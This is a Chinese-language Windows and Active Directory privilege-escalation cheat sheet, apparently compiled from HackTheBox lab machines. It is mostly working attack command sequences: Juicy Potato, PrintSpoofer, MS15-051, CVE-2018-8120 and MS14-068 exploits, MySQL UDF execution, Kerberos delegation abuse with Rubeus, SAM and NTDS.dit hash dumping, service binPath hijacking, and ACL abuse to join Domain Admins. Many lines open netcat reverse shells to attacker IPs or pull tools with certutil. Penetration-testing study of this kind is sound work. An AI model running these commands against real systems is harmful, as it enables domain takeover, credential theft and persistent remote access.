windows提权(未区分域和本地提权)
https://adsecurity.org/?p=3658介绍了一些权限是什么作用
一些思路
history
当遇到是活跃账户时可以尝试看它的历史文件 whoami /priv 后有 Account active Yes
谷歌 powershell history location
type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
LAPS_Readers组
属LAPS_Readers组。可以读取LAPS
使⽤LAPS(Local Administrator Password Solution),域控制器可以管理域中计算机的本地管理员密码。通常会创建⼀个⽤户组,并赋予其读取这些密码的权限,从⽽允许可信管理员访问所有本地管理员密码。
goole how ro retrieve the password of administrator by the user of LAPS Readers group
要读取LAPS(本地管理员密码解决⽅案)密码,只需要使⽤Get-ADComputer命令,并明确请求ms-mcs-admpwd属性即可 这边不能直接这样
Get-ADComputer DC01 -property 'msmcs-admpwd'
可以试试 Get-ADComputer dc01 | get-member
Get-Member
获取该对象的所有成员(属性和方法)。这对于查看计算机对象的可用属性和方法是很有用的。 这个没有有用信息
Get-ADComputer DC01 -property * 查所有的 筛选到ms-mcs-admpwd 后面又密码凭证
Get-ADComputer
拓展知识:
\1. Get-ADComputer命令在PowerShell中⾮常常⽤。它⽤于从Active Directory(AD)中检索计算机
对象的信息。通过Get-ADComputer命令,可以获取计算机的名称、操作系统、IP地址、所属组等
属性。它在管理Windows域环境中的计算机和⽹络设备时⾮常有⽤。
\2. 检索本机名
ms-mcs-admpwd
ms-mcs-admpwd是什么意思?
ms-Mcs-AdmPwd 是 Active Directory 中的⼀个属性,全称为 "Microsoft Managed Control Service Administrator Password"。它是由微软提供的 LAPS(Local Administrator Password Solution)解决⽅案所使⽤的⼀项功能。
LAPS 是⼀种⼯具,旨在帮助组织管理和加强本地管理员密码的安全性。在许多 Windows 系统中,本地管理员账户都使⽤相同的默认密码,这可能导致潜在的安全⻛险。为了解决这个问题,LAPS 使⽤⼀种随机⽣成和定期更改本地管理员密码的⽅法。当 LAPS 被安装和配置后,它会将⼀个随机⽣成的密码存储在 Active Directory 对象的 ms-McsAdmPwd 属性中。这个密码是经过加密的,只有具有适当权限的⽤户(通常是 LAPS_Readers 组的成
员)才能读取该属性。LAPS 会定期更改这个密码,以确保本地管理员密码的安全性。
通过使⽤ LAPS,组织可以有效地确保每台计算机的本地管理员密码是唯⼀的、复杂的,并且定期更改,从⽽增加了系统的安全性,减少了可能因为默认密码⽽造成的攻击⻛险。
\5. ms-mcs-admpwd是加密的吗?
可以是加密的也可以不是,但evil-winrm既⽀持hash也⽀持明⽂密码,所以⼀个不⾏就换参数试。⽂献参考这⾥:Windows LAPS 概述 https://learn.microsoft.com/zh-cn/windows-server/identity/laps/lapsoverview#benefits-of-using-windows-laps
手工
history
搜索一个敏感文件列表,有助于我们枚举auto_wordlists
https://github.com/carlospolop/Auto_Wordlists
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
history 搜索ctrl +f
c:/users/all users/appdata/roaming/microsoft/windows/powershell/psreadline/consolehost_history.txt
试一下这个路径(改目录里面的用户名,最后试的henry.vison_adm有东西)
枚举命令(域)
cmdkey /list 检查 DC 上是否有任何存储的凭据。
cat (Get-PSReadlineOption).HistorySavePath 检查 PowerShell 历史文件。
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 检查了 AutoLogon 注册表项(里面一般有用户凭据)
https://juggernaut-sec.com/password-hunting/
枚举(普通)
常用脚本
https://github.com/GDSSecurity/Windows-Exploit-Suggester
https://github.com/rasta-mouse/Sherlock
local_exploit_suggester模块
Metasploit内置模块提供了各种可用于提权的本地漏洞利用,并会基于架构,平台(即运行的网络),会话类型和所需的默认选项提供建议。这极大地节省了我们的时间,省时省力我们手动搜索本地漏洞利用的麻烦。
使用如下,假设我们已经获得了一个会话的目标主机:
use post/multi/recon/local_exploit_suggester
set session 1
exploit
enum_patches 模块
会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速查找系统中缺少的补丁。使用如下:
use post/windows/gather/enum_patches
set session 1
exploit
在实际的发现潜在漏洞的过程中,建议手动和自动双管齐下。
常用网站
https://github.com/lyshark/Windows-exploits/blob/master/CVE-2003-0352.zip
这是一堆exp的集合
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/klsfct/getshell
winpeas(提权枚举)
sudo wget --no-check-certificate https://github.com/carlospolop/PEASS
ng/blob/master/winPEAS/winPEASps1/winPEAS.ps1
\10.10.14.8\share\x64.exe "\10.10.14.8\share\nc64.exe" -e "cmd.exe 10.10.14.8 4444"
\10.10.14.8\share\x64.exe "\10.10.14.8\share\nc64.exe -e cmd.exe 10.10.14.8 4444"
内核提权
基于window 2008 r2
列出用户权限
whoami /priv
whoami /groups
Juicy Potato提权(SeImpersonatePrivilege)
server版本⼩于 Windows Server 2019,都可以试Juicy Potato
需要激活SeImpersonatePrivilege权限的
certuil.exe -urlcache -split -f http://10.10.14.8/JuicyPotato.exe
certuil.exe -urlcache -split -f http://10.10.14.8/nc64.exe
在kali中⽤nc监听4444端⼝,然后按照利⽤⽂件的⽤法执⾏:
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
上⾯的命令执⾏失败,⽤前⾯certutil.exe命令将nc64.exe下载到靶机本地,重新执⾏命令如下:
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\inetpub\drupal-
7.54\nc64.exe -e cmd.exe 10.10.16.11 4444" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
PrintSpoofer提权(SeImpersonatePrivilege权限,有利用他人python代码中'encodestring迭代问题)win10.win2019
seimpersonateprivilege privilege escalation github
wget
https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
在 mssql_shell.py 得到的shell中上传利⽤⽂件exe,但依然有报错:
python3 mssql_shell.py
UPLOAD PrintSpoofer64.exe
(报错AttributeError: module 'base64' has no attribute 'encodestring'
编码问题需要排查,你要对python的函数熟悉就知道 encodestring 函数在Python 3中已被废弃,并被 encodebytes 所取代,同样,这是Python版本更迭带来的问题。
找到代码中的这⼀⾏:
b64enc_data = b"".join(base64.encodestring(data).split()).decode()
更改为:
b64enc_data = b"".join(base64.encodebytes(data).split()).decode()
保存并重新运⾏脚本
上传nc64.exe
PrintSpoofer64.exe -h
简单尝试
##- Run PowerShell as SYSTEM in the current console
PrintSpoofer.exe -i -c powershell.exe 靶机中没成功
后面的利用nc64.exe就没试里 ,可以自己看help很明确了
MS15-051提权
在github中搜索MS15-051:
然后在靶机中执⾏如下命令,确认可提权。
\10.10.16.11\share\ms15-051.exe "whoami"
然后执⾏:
\10.10.16.11\share\ms15-051.exe "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444
CVE-2018-8120提权
goole搜索
windows server 2008 r2 privilege escalation exploit
看通⽤github库,因为⼀般选择可能会更多。点开⻚⾯,全⻚⾯搜索R2关键字,选定CVE-2018-8120,下载其中
的x64.exe利⽤⾄⼯作⽂件夹。
在kali中建⽴nc监听,监听端⼝4444,在靶机的初始权限中执⾏:
\10.10.16.11\share\x64.exe "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444"
监听中收到反弹shell
sudo nc -lvnp 4444 提权成功
udf提权
select @@version;
select@@version_compile_os, @@version_compile_machine;
select@@plugin_dir ;
show variables like '%secure%';
准备udf提权⽂件,再metasploit中是有⼀个可⽤的⽂件的,⽹上搜也可以。
locate mysqludf
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll .
在MySQL命令⾏中执⾏:
select load_file('\\10.10.14.8\share\lib_mysqludf_sys_64.dll') into dumpfile
"C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll";
create function sys_exec returns int soname 'udf.dll';
在kali中建⽴nc监听8888端⼝。然后再MySQL命令⾏中执⾏:
select sys_exec("\\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.14.8 8888");
Kerberos 基于资源的约束委派
在不受约束和受约束的 Kerberos 委派中,计算机/用户被告知可以将身份验证委派给哪些资源;
在基于资源的 Kerberos 委派中,计算机(资源)指定它们信任的对象以及谁可以将身份验证委派给它们
就是support属于shared组的,该组对dc机器有着绝对的权限,可以设置dc机器的信任机器为我们创建的假机器,msds-allowedtoactonbehalfofotheridentity就是这个值是我们假机器的sid ,然后授权它域管理员权限,获取该票据
the support user is a member of the Shared Support Accounts group, which hasGenericAll
on the computer object, DC.SUPPORT.HTB:
PowerView.ps1
https://github.com/Kevin-Robertson/Powermad
https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.5_x64/Rubeus.exe
..\PowerView.ps1
..\Powermad.ps1
先上传上面3个工具
1.利用Bloodhound验证dc的管理员用户是谁
2.验证用户是否可以将计算机添加到域中:
Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota
默认值是10添加10台机器
3.是winserver 2012 年以上的 DC:
Get-DomainController | select name,osversion | fl
4.检查是否msds-allowedtoactonbehalfofotheridentity
为空:
Get-DomainComputer DC | select name,msds-allowedtoactonbehalfofotheridentity | fl
msds-allowedtoactonbehalfofotheridentity
是与 Active Directory 中的身份验证和授权相关的属性之一。具体来说,这个属性通常与委托(delegation)有关。在 Active Directory 中,委托是一种允许一个安全主体(通常是服务账户)代表另一个主体执行操作的机制。这对于支持单一登录(Single Sign-On)和服务之间的相互信任非常有用。该属性的完整名称是msDS-AllowedToActOnBehalfOfOtherIdentity
,它是一个多值属性,用于定义允许哪些用户或服务账户代表其他身份执行操作。每个值通常包含一个安全主体的标识符,表示允许该主体代表其他身份。
创建假计算机
New-MachineAccount -MachineAccount 0xdfFakeComputer -Password $(ConvertTo-SecureString '0xdf0xdf123' -AsPlainText -Force)
我还需要计算机对象的 SID,因此我将其保存在变量中:
$fakesid = Get-DomainComputer 0xdfFakeComputer | select -expand objectsid
$fakesid
S-1-5-21-1677581083-3380853377-188903654-1121
攻击
现在,我将配置 DC 以信任我的假计算机代表它做出授权决策。这些命令将使用假计算机的 SID 创建 ACL 并将其分配给 DC:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($fakesid))"
$SDBytes =New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
将安全描述符字节应用到目标机器:
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
验证它是否有效:
$RawBytes =Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl
SecurityIdentifier
上面写着AccessAllowed
。就是说dc现在信任假机器
验证为假计算机
我将用来Rubeus
获取我的假计算机帐户的哈希值:
.\Rubeus.exe hash /password:0xdf0xdf123 /user:0xdfFakeComputer /domain:support.htb
我需要标记为 的那个rc4_hmac
,我将把它传递给Rubeus
管理员以获得一张票:
.\Rubeus.exe s4u /user:0xdfFakeComputer$ /rc4:B1809AB221A7E1F4545BD9E24E49D5F4 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt
理论上来说,我现在应该可以使用这张票。Rubeus
显示此会话中的票证:
.\Rubeus.exe klist
对我来说,这不起作用。
我将获取最后生成的票证Rubeus
,并将其复制回我的计算机,将其另存为ticket.kirbi.b64
,确保删除所有空格。我将其 base64 解码为ticket.kirbi
:
echo " Your Text Here" | sed 's/^[ \t]*//'
这个命令使用正则表达式,^[ \t]*
表示匹配行首的零个或多个空格或制表符,然后替换为空字符串。 将前面的空格去掉
现在我需要将其转换为 Impact 可以使用的格式:
ticketConverter.py ticket.kirbi ticket.ccache
我可以使用它来获取 shellpsexec.py
:
KRB5CCNAME=ticket.ccache psexec.py support.htb/[email protected] -k -no-pass
sum,system文件提取hash
这是基于本地管理员
作为 Acute-PC01 上的本地管理员,jmorgan 可以创建注册表配置单元的备份:
reg save HKLM\sam sam.bak 您提供的命令reg save HKLM\sam sam.bak
是 Windows 命令提示符 (CMD) 中的一个命令,用于创建 SAM(安全帐户管理器)注册表配置单元的备份。该命令通常用于备份目的,需要注意的是,修改或备份注册表需要管理权限。
以下是该命令的详细说明:
-
reg save
:这是保存注册表配置单元的命令。 -
HKLM\sam
:指定要保存的注册表配置单元。在本例中,它是 SAM 配置单元,其中包含有关用户帐户和系统安全性的信息。 -
sam.bak
:这是为将创建的备份文件指定的名称。在此示例中,备份文件名为“sam.bak”。
reg save HKLM\system sys.bak
(reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system)
由于我的盒子上有一个 Meterpreter 会话,我将使用它来下载文件:
download sam.bak
download sys.bak
secretsdump.py
获取hash
secretsdump.py -sam sam.bak -system sys.bak LOCAL
这是APT靶机的
secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL > ../user_hash_raw
NTDS.dit 存储了 Active Directory 中的用户账户信息,而 SYSTEM 数据库用于加密和保护密码哈希的文件包含关键信息。
此命令的总体目的是利用提供的 NTLM 哈希来提取与指定帐户 (htb.local/APT$
) 关联的机密和凭据。这可以包括密码哈希、Kerberos 票证以及存储在目标系统上的其他身份验证相关信息。
secretsdump.py -hashes 'xxxxxxxx' 'htb.local/[email protected]'
APT$是用户,一般加个$可能是隐藏用户
普通尝试(文件挂载到了本地bastion靶机)
看来一下文件后没什么,可以去看系统上的重要项目,并转到 C:\Windows\System32\config,我知道 SAM 和 SYSTEM 文件所在的位置。
转储凭证 – SAM 文件哈希 https://juggernaut-sec.com/dumping-credentials-sam-file-hashes/
SAM 文件位于%SystemRoot%\system32\config
目录中(通常为C:\Windows\system32\config
)。它存储用户帐户信息,包括用户名和密码哈希值。SAM 文件是 Windows 安全基础结构的关键组件,用于系统上的本地身份验证。
SYSTEM 文件是 Windows 注册表的一部分,通常位于同一%SystemRoot%\system32\config
目录中。该文件包含与系统的硬件和软件设置相关的配置信息。
在运行的Windows主机上,SAM和SYSTEM文件被锁定;然而,在备份中它们是可以访问的,因为它们没有“使用中”。
window文件下载到klai方法
Invoke-WebRequest -Uri http://your_kali_ip/file_to_download-OutFile C:\path\on\Windows\file_to_download
还有就是smb了
下面有两种方法提取sam和system中的信息
sudo apt-get update sudo
apt-get install python3-impacket
ls /usr/lib/python3/dist-packages/impacket
/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
该命令secretsdump.py
是 Impacket 工具包的一部分,用于执行凭据转储并从 Windows 系统上的 SAM、SECURITY 和 SYSTEM 注册表配置单元中提取信息。以下是该命令及其组件的说明:
-
secretsdump.py
:这是来自 Impacket 工具包的脚本,该工具包是 Python 类的集合,专注于提供对网络协议的低级编程访问。 -
-sam SAM
:指定 SAM 文件的路径,该文件包含有关 Windows 系统上的本地帐户的信息,包括密码哈希值。 -
-security SECURITY
:指定 SECURITY 文件的路径,该文件是 Windows 注册表的一部分,包含与安全相关的信息。 -
-system SYSTEM
:指定 SYSTEM 文件的路径,该文件是 Windows 注册表的另一部分,包含有关系统的配置信息。 -
LOCAL
:指定要执行凭证转储的目标计算机。在这种情况下,它似乎指的是本地计算机。
该命令本质上是从 SAM 文件中提取和解密密码哈希值,并且还可以从 SECURITY 和 SYSTEM 文件中提供其他与安全相关的信息。该工具用于渗透测试和安全评估,以识别身份验证系统中的潜在漏洞。
samdump2 SYSTEM SAM > hashes.txt
-
samdump2
:这是一种常用的工具,用于从 Windows 系统上的 SAM(安全帐户管理器)文件中转储密码哈希值。它经常用于渗透测试或安全评估。 -
SYSTEM
:指定 SYSTEM 文件的路径,该文件是 Windows 注册表的一部分,包含有关系统的配置信息,包括解密密码哈希所需的详细信息。 -
SAM
:指定 SAM 文件的路径,其中包含用户帐户信息,包括密码哈希值。SAM 文件位于%SystemRoot%\system32\config
Windows 系统上的目录中。 -
> hashes.txt
:将命令的输出重定向samdump2
到名为hashes.txt
. 该文件将包含提取的密码哈希值。
ntds
当sam,system尝试后可以试试ntds文件的
可以尝试使用robocopy制作 ntds.dit 文件的副本
robocopy /b C:\Windows\NTDS C:\Profiles NTDS.dit
没成功
backup operators提权 (sebackupprivilege)
备份操作员是一个默认的 Windows 组,旨在使用某些方法来备份和恢复计算机上的文件,以读取和写入系统上的所有(或大多数)文件。
https://github.com/giuliano108/SeBackupPrivilege
这个存储库有一组很好的 PowerShell 工具,用于滥用SeBackupPrivilege
. 我将克隆它,然后需要将两个文件上传到 Blackfields:
upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
现在我将它们导入到我当前的会话中:
*Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeUtils.dll
现在我可以跨文件系统读取文件。例如,我无法C:\windows\system32\config\netlogon.dns
以非管理员用户身份读取:
但我可以复制它并阅读它:
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns
type\programdata\netlogon.dns
由于某种原因,我无法阅读root.txt
:
我想要获取的下一个文件是ntds.dit
DC 上保存所有密码哈希值的数据库。不幸的是,我无法抓住它,因为它正在使用中
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
如果我们尝试使用robocopy制作 ntds.dit 文件的副本,我们会发现由于正在使用的进程而失败。
robocopy /b C:\Windows\NTDS C:\Profiles NTDS.dit
使用diskshadow.exe
默认情况下,diskshadow.exe 仅安装在 Windows Server 上。
由于 diskshadow.exe 是一个交互式命令,而我们当前有一个非交互式会话,因此我们必须制作一个可以输入到 diskshadow.exe 中的 TXT 文件。这将使我们能够执行必要的命令并创建卷影副本。
我直接在受害者计算机上使用以下命令来制作 diskshadow.txt 文件:
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
上面的命令本质上告诉 diskshadow.exe 创建 C: 的副本并将其命名为 Z: 并公开它(使其可作为驱动器访问)。
创建 diskshadow.txt 文件后,我使用以下命令创建卷影副本并将其显示为 Z:\ 驱动器:
diskshadow.exe /s c:\temp\diskshadow.txt
随着 Z:\ 驱动器暴露,我现在可以再次使用 robocopy,但这一次它将用于将备份 ntds.dit 文件移动到我的临时文件夹,而不是正在运行的文件。
cd Z: cd windows cd ntds robocopy /b .\ C:\temp NTDS.dit
获取 ntds.dit 文件后,我们还需要从注册表中获取 SYSTEM 文件,然后将这两个文件发送到我们的攻击者计算机以在本地转储。
cd C:\temp reg.exe save hklm\system C:\temp\system.bak
这次为了泄露这些文件,我们可以使用villain-winrm的内置下载命令,如下所示:
download ntds.dit download system.bak
现在这两个文件都在我的攻击者计算机上,我再次使用 Secretsdump.py 并成功转储域中的所有哈希值!
我第一次运行此命令时,我没有将其重定向到文件,并且有超过 300 个用户的文件。重定向输出使其更易于解析。
secretsdump.py -ntds ntds.dit -system system.bak LOCAL > hashes.txt
Server Operators 组提权
net user svc-printer
***Server Operators 组的成员可以管理域控制器。该组仅存在于域控制器上。默认情况下,该组没有成员。Server Operators 组的成员可以执行以下操作:以交互方式登录服务器、创建和删除网络共享资源、启动和停止服务、备份和还原文件、格式化计算机的硬盘驱动器以及关闭服务器。电脑。该组无法重命名、删除或移除。\
当我们启动任何服务时,它将从其二进制路径执行二进制文件,因此,如果我们用 netcat 或反向 shell 二进制文件替换服务二进制文件,那么它将为我们提供一个作为系统用户的反向 shell,因为该服务是作为系统上的系统启动的。受损的主机。请注意,我们需要使用 netcat 二进制文件指定攻击者的 IP 地址和侦听端口号。
service看有哪些服务
upload /home/kali/nc64.exe
sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.16.9 1234"
sc.exe config VGAuthService binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.16.9 9001"“C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.16.9 9001”
sc.exe
是 Windows 操作系统自带的命令行工具,用于配置和管理 Windows 服务。sc
代表 "Service Control",它允许用户与本地或远程计算机上的服务进行交互。
kali nc -lvp 1234
靶机 (也可以滥用VGAuthService服务)这边是滥用vmtools
sc.exe stop VMTools
sc.exe start VMTools
靶机canrdpdc提权(MS14-068)
谷歌以下“ windows server 2008 r2 standard 7601 service pack 1exploitdomain “在那里我看到了很多 MS17-010 页面;然而,这里最引人注目的是 MS14-068
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
https://github.com/mubix/pykek这个要整个压缩包下载才可以用,不然会出现
看来第一步是多余的(创建票证),所以我将从查找当前用户的 SID 开始。
收集sid
我能够使用Impacket 脚本集合中的lookupsid.py和以下命令来收集用户的 SID:
lookupsid.py htb.local/james:'J@m3s_P@ssW0rd!'@10.10.10.52 | grep -i "domain sid\|james"
利用
python ms14-068.py -u [email protected] -p 'J@m3s_P@ssW0rd!' -d 10.10.10.52 -s S-1-5-21-4220043660-4019079961-2895681657-1103
持票据攻击
我不喜欢这张票证的名称包含特殊字符,因此我将其重命名为james.ccache,然后将新票证(具有管理组权限)导出到我当前的会话(在攻击者计算机上)。
mv TGT_james\@htb.local.ccache james.ccache export KRB5CCNAME=/opt/Windows/pykek-CVE-2014-6324/james.ccache psexec.py htb.local/[email protected] -target-ip 10.10.10.52 -dc-ip 10.10.10.52 -k -no-pass
ForceChangePassword
BloodHound 的帮助ForceChangePassword
可以通过右键单击标签来加载:
它展示了如何在“滥用信息”选项卡上使用PowerView来执行此操作:
我将下载 PowerView,将其上传到 Object,然后将其导入到此会话中:
*Evil-WinRM* PS C:\programdata> upload PowerView.ps1 Info: Uploading PowerView.ps1 to C:\programdata\PowerView.ps1 Data: 1027036 bytes of 1027036 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
由于我已经有一个作为 oliver 的 shell,因此我不需要通过该凭据。我将创建一个密码并更改它:
*Evil-WinRM* PS C:\programdata> $newpass = ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force *Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity smith -AccountPassword $newpass
登入
evil-winrm -i 10.10.11.132 -u smith -p '0xdf0xdf!'
GenericWrite
添加sqn
多种尝试有失败的,但是对于别的靶机可以进行尝试
BloodHound 的帮助中GenericWrite
说:
可以使用 PowerView 的 Set-DomainObject 和 Get-DomainSPNTicket 来执行有针对性的 kerberoast 攻击。
我将向 maria 的帐户添加 SPN:
*Evil-WinRM* PS C:\programdata> Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/0XDF'}
由于某种原因,但是不太行(再执行一次可以)
*Evil-WinRM* PS C:\programdata> Get-DomainUser maria | Select serviceprinciplename serviceprinciplename --------------------
以下这个可以
这也有效,因为现在两个 SPN (一个是上面的命令生成的)都在那里:
(setpn适用于:Windows Server 2008、Windows Server 2008 R2、Windows Server 2012、Windows 8,读取、修改和删除 Active Directory 服务帐户的服务主体名称 (SPN) 目录属性。您可以使用 SPN 来查找运行服务的目标主体名称。您可以使用setspn查看当前 SPN、重置帐户的默认 SPN 以及添加或删除补充 SPN。
*Evil-WinRM* PS C:\programdata> setspn -a MSSQLSvc/object.local:1433 object.local\maria Checking domain DC=object,DC=local CN=maria garcia,CN=Users,DC=object,DC=local MSSQLSvc/object.local:1433 Updated object *Evil-WinRM* PS C:\programdata> Get-DomainUser maria | Select serviceprincipalname serviceprincipalname -------------------- {object.local/maria.object.local:1337, nonexistent/0XDF} setspn:这是用于管理 SPN 的命令行工具。 -a:此选项将指定的 SPN 添加到帐户。 MSSQLSvc/object.local:1433:这是您与帐户关联的服务主体名称。它通常代表在计算机“object.local”的端口 1433 上运行的 SQL Server 服务。 object.local\maria:这是您要与 SPN 关联的帐户。它的格式是DOMAIN\username.
因为spn的格式需求所以用第二个命令生成的sqn(<service class>/<host>:<port>/<service name>)https://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns
PowerView
必须Get-DomainSPNTicket
使用 Kerberoast,但它实际上需要一个凭证对象(即使我以 smith 身份登录):
*Evil-WinRM* PS C:\programdata> Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" Warning: [Get-DomainSPNTicket] Error requesting ticket for SPN 'MSSQLSvc/object.local:1433' from user 'UNKNOWN' : Exception calling ".ctor" with "1" argument(s): "The NetworkCredentials provided were unable to c reate a Kerberos credential, see inner exception for details."
创建一个凭证对象:
*Evil-WinRM* PS C:\programdata> $pass = ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force *Evil-WinRM* PS C:\programdata> $cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $pass) *Evil-WinRM* PS C:\programdata> Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $Cred
生成的hash很长,破解不了
密码修改
建议GenericWrite
可以更改用户的密码,但这在这里不起作用:参考文献
*Evil-WinRM* PS C:\programdata> $newpass = ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force *Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity maria -AccountPassword $newpass Warning: [Set-DomainUserPassword] Error setting password for user 'maria' : Exception calling "SetPassword" with "1" argument(s): "Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))"
Logon Script
HackTricks建议我可以使用GenericWrite
用户来更新他们的登录脚本。该脚本将在用户下次登录时运行。这在 HTB/CTF 机器上并不常见,但它可能是在后台自动执行的。
我将编写一个脚本来 ping 我的主机,记住之前的防火墙枚举,ICMP 是允许出站的少数事物之一,然后设置脚本:
echo "ping 10.10.14.6" > ping.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\programdata\ping.ps1"}
kali: sudo tcpdump -ni tun0 icmp 可以看到有很多数据
因为我知道由于防火墙的原因我无法连接回来,所以我会将脚本放入登录中,将结果写入我可以读取的位置。例如:(都是在在C:\programdata目录下完成的)
echo "ls \users\maria\ > \programdata\out" > cmd.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\programdata\cmd.ps1"}
大约一秒钟左右后,出现一个out
:
typeout 可以看到命令罗列的目录
有趣的是,Documents
和Desktop
文件夹的时间戳与其他文件夹不同。我将列出这些目录:
echo "ls \users\maria\documents > \programdata\out; ls \users\maria\desktop\ > \programdata\out2" > cmd.ps1
typeout2
桌面上只有一个文件。我将其复制到programdata
并下载:
echo "copy \users\maria\desktop\Engines.xls \programdata" > cmd.ps1
download C:\programdata\Engines.xls Engines.xls 里面有maria 的计算机和密码列表:接用crackmapexec 爆破
WriteOwner
该WriteOwner
权限是 Windows 安全和访问控制上下文中的特定权限。此权限允许用户或组修改对象的所有者。换句话说,它授予更改被视为特定资源所有者的安全主体的能力。以下是与权限相关的关键概念的简要说明WriteOwner
:
-
所有者:Windows 中的每个安全对象(例如文件、文件夹、注册表项等)都有一个关联的所有者。所有者通常是安全主体(用户或组),被认为是对象的主要权限。所有者拥有与该对象相关的某些权利和责任。
-
WriteOwner 权限:该
WriteOwner
权限允许用户或组更改对象的所有者。这意味着他们可以将所有权转移给另一个安全主体。
用户与admin
maria 属于WriteOwner
域管理员组。从BloodHound的帮助来看,这意味着玛丽亚可以更改群组的所有者。
我将导入PowerView.ps
maria,然后将其指定为该组的所有者:
*Evil-WinRM* PS C:\programdata> Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
我认为运行此命令可能会出现一些奇怪的计时问题,导致命令失败(可能是某些清理 cron 将权限设置回来)。等一分钟然后再次运行就成功了。
作为所有者,玛丽亚可以授予玛丽亚对该组的全部权利:
*Evil-WinRM* PS C:\programdata> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
现在玛丽亚可以将自己添加到组中:
*Evil-WinRM* PS C:\programdata> Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'
需要重新连接才可以生效
用户
要移至 claire 帐户,我将使用 WriteOwner 权限以及 PowerView 的功能来执行以下步骤:
-
Become owner of claire’s ACL
-
Get permissions on that ACL
-
Use those permissions to change the password
-
ACL 代表“访问控制列表”。ACL 是与对象关联的权限或规则列表,指定哪些用户或系统进程被授予访问该对象的权限以及允许他们执行哪些操作。
在操作系统、文件系统和网络资源的上下文中,ACL 用于控制对各种资源(例如文件、目录和网络共享)的访问。ACL 定义谁可以访问资源、他们可以执行哪些操作(例如读、写、执行)以及在什么条件下执行。
用户与用户
需要PowerView 和 PowerShell(powershell直接输入命令powershell就可以)
接下来,我将把 Tom 设置为 claire 的 ACL 的所有者:
Set-DomainObjectOwner -identity claire -OwnerIdentity tom
接下来,我将授予 Tom 更改该 ACL 上的密码的权限:
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
现在,我将创建一个凭据,然后设置克莱尔的密码:
$cred =ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force
Set-DomainUserPassword -identity claire -accountpassword $cred
利用该密码
WriteDacl(添加用户到admin)
通过之前的分析,我知道claire对Backup_Admins组有WriteDacl权限。我可以用它来将她添加到群组中。首先,查看该组的唯一成员是 ranj:
net group backup_admins
现在添加克莱尔:
net group backup_admins claire /add
net group backup_admins 可以看到有他了
